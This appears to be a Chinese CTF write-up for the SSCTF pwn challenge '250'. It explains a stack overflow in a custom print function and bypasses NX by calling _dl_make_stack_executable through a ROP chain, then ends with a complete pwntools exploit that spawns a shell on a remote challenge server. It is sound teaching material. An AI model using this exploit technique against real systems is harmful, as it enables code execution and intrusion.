前言:
此题说难也不是很难,但是需要一些基础知识,否则利用起来比较困难。
只开了NX保护的32位程序。
此题里面的功能函数几乎都是自己写的,所以说没有一点基础知识,利用起来还是挺麻烦的。
我们看到里面有一个自己写的print函数
我们点进去发现,由于size是我们自己决定的,所以里面存在一个栈溢出漏洞。
但是我们并不知道远端的libc环境版本,函数几乎自写,我们基本没什么信息可以利用,所以传统的栈溢出利用方法利用起来很麻烦(只是我觉得,有可能大佬觉得很简单)。
这时,我们就需要观察函数中有没有我们可以利用的,一看,woc,直接就几百上千个函数。(攻防世界评论区有人说这是道眼力题,我觉得很在理,哈哈哈)
_dl_make_stack_executable函数。按照意思是可以将栈变为可执行
–引自于bluestar628的博客
我们这个题目也是有这个函数的,并且利用方法也和上面那篇博客一样。
我们先找到这个函数
在这里我们找到这个函数
要想利用这个函数,我们还要满足eax的值是__libc_stack_end,我们就需要把ebp+arg_10那填充为__libc_stack_end。由于arg_10为0x18,我们把ebp填充为__libc_stack_end - 0x18就可以了。
我们在调用完_dl_make_stack_executable_hook后,为了程序流程仍然会跳转到我们构造的ROP上去,我们需要改变函数,使得判定不成立。
最后我们构造的ROP链为:
payload = 'a' * 0x3a + p32(0x080a0b05 - 0x18)
payload += p32(pop_ecx) + p32(_dl_make_stack_exe_hook) + p32(inc_ecx)
payload += p32(call_dl_make_stack_exe) + p32(jmp_esp) + asm(shellcraft.i386.linux.sh())
我们使用inc dword ptr [ecx] 来使得函数地址加一位,导致值不匹配,使得程序流程回到我们的ROP链上。
完整exp:
#! /usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./250')
else:
p = remote('111.198.29.45', 39411)
debug = 0
if debug:
context.log_level = 'debug'
elf = ELF('./250')
_dl_make_stack_exe_hook = elf.sym['_dl_make_stack_executable_hook']
inc_ecx = 0x080845f8
pop_ecx = 0x080df1b9
jmp_esp = 0x080de2bb
call_dl_make_stack_exe = 0x0809a260
p.sendlineafter('SSCTF[InPut Data Size]', str(0x100))
payload = 'a' * 0x3a + p32(0x080a0b05 - 0x18)
payload += p32(pop_ecx) + p32(_dl_make_stack_exe_hook) + p32(inc_ecx)
payload += p32(call_dl_make_stack_exe) + p32(jmp_esp) + asm(shellcraft.i386.linux.sh())
p.sendlineafter('SSCTF[YourData]', payload)
p.interactive()